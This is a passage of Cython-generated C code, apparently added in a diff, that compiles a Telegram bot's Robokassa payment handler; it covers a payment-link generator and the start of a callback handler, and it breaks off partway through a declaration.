__pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_upper __pyx_mstate_global->__pyx_n_s_upper +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_kp_u_with_amount __pyx_mstate_global->__pyx_kp_u_with_amount +#define __pyx_kp_u_with_balance_0_0 __pyx_mstate_global->__pyx_kp_u_with_balance_0_0 +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_tuple__11 __pyx_mstate_global->__pyx_tuple__11 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_codeobj__2 __pyx_mstate_global->__pyx_codeobj__2 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 +#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 +#define __pyx_codeobj__33 __pyx_mstate_global->__pyx_codeobj__33 +#define __pyx_codeobj__39 __pyx_mstate_global->__pyx_codeobj__39 +/* #### Code section: module_code ### */ + +/* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_generate_payment_link, "\320\223\320\265\320\275\320\265\321\200\320\260\321\206\320\270\321\217 \321\201\321\201\321\213\320\273\320\272\320\270 \320\275\320\260 \320\276\320\277\320\273\320\260\321\202\321\203."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_1generate_payment_link = {"generate_payment_link", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_generate_payment_link}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_amount = 0; + PyObject *__pyx_v_inv_id = 0; + PyObject *__pyx_v_description = 0; + PyObject *__pyx_v_tg_id = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[4] = {0,0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("generate_payment_link (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_amount,&__pyx_n_s_inv_id,&__pyx_n_s_description,&__pyx_n_s_tg_id,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 4: values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + CYTHON_FALLTHROUGH; + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_inv_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 1); __PYX_ERR(0, 50, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_description)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 2); __PYX_ERR(0, 50, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 3: + if (likely((values[3] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_tg_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[3]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 3); __PYX_ERR(0, 50, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "generate_payment_link") < 0)) __PYX_ERR(0, 50, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 4)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + } + __pyx_v_amount = values[0]; + __pyx_v_inv_id = values[1]; + __pyx_v_description = values[2]; + __pyx_v_tg_id = values[3]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, __pyx_nargs); __PYX_ERR(0, 50, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.generate_payment_link", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(__pyx_self, __pyx_v_amount, __pyx_v_inv_id, __pyx_v_description, __pyx_v_tg_id); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_amount, PyObject *__pyx_v_inv_id, PyObject *__pyx_v_description, PyObject *__pyx_v_tg_id) { + PyObject *__pyx_v_payment_link = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("generate_payment_link", 1); + + /* "handlers/payments/robokassa_pay.py":52 + * def generate_payment_link(amount, inv_id, description, tg_id): + * """ .""" + * logger.debug( # <<<<<<<<<<<<<< + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":53 + * """ .""" + * logger.debug( + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" # <<<<<<<<<<<<<< + * ) + * payment_link = robokassa._payment.link.generate_by_script( + */ + __pyx_t_2 = PyTuple_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Generating_payment_link_for_amou); + __pyx_t_4 += 36; + __Pyx_GIVEREF(__pyx_kp_u_Generating_payment_link_for_amou); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Generating_payment_link_for_amou); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_inv_id_2); + __pyx_t_4 += 10; + __Pyx_GIVEREF(__pyx_kp_u_inv_id_2); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_inv_id_2); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_description_2); + __pyx_t_4 += 15; + __Pyx_GIVEREF(__pyx_kp_u_description_2); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u_description_2); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_description, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 5, __pyx_t_6); + __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 6, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":55 + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + * payment_link = robokassa._payment.link.generate_by_script( # <<<<<<<<<<<<<< + * out_sum=amount, + * inv_id=inv_id, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_robokassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_generate_by_script); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":56 + * ) + * payment_link = robokassa._payment.link.generate_by_script( + * out_sum=amount, # <<<<<<<<<<<<<< + * inv_id=inv_id, + * description=" ", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_out_sum, __pyx_v_amount) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":57 + * payment_link = robokassa._payment.link.generate_by_script( + * out_sum=amount, + * inv_id=inv_id, # <<<<<<<<<<<<<< + * description=" ", + * id=f"{tg_id}", + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inv_id, __pyx_v_inv_id) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_kp_u_) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":59 + * inv_id=inv_id, + * description=" ", + * id=f"{tg_id}", # <<<<<<<<<<<<<< + * ) + * logger.info(f"Generated payment link: {payment_link}") + */ + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_id, __pyx_t_6) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":55 + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + * payment_link = robokassa._payment.link.generate_by_script( # <<<<<<<<<<<<<< + * out_sum=amount, + * inv_id=inv_id, + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_payment_link = __pyx_t_6; + __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":61 + * id=f"{tg_id}", + * ) + * logger.info(f"Generated payment link: {payment_link}") # <<<<<<<<<<<<<< + * return payment_link + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_v_payment_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Generated_payment_link, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_2}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":62 + * ) + * logger.info(f"Generated payment link: {payment_link}") + * return payment_link # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_payment_link); + __pyx_r = __pyx_v_payment_link; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("handlers.payments.robokassa_pay.generate_payment_link", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_payment_link); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa = {"process_callback_pay_robokassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_robokassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, 1); __PYX_ERR(0, 65, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, 2); __PYX_ERR(0, 65, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_robokassa") < 0)) __PYX_ERR(0, 65, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 65, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct 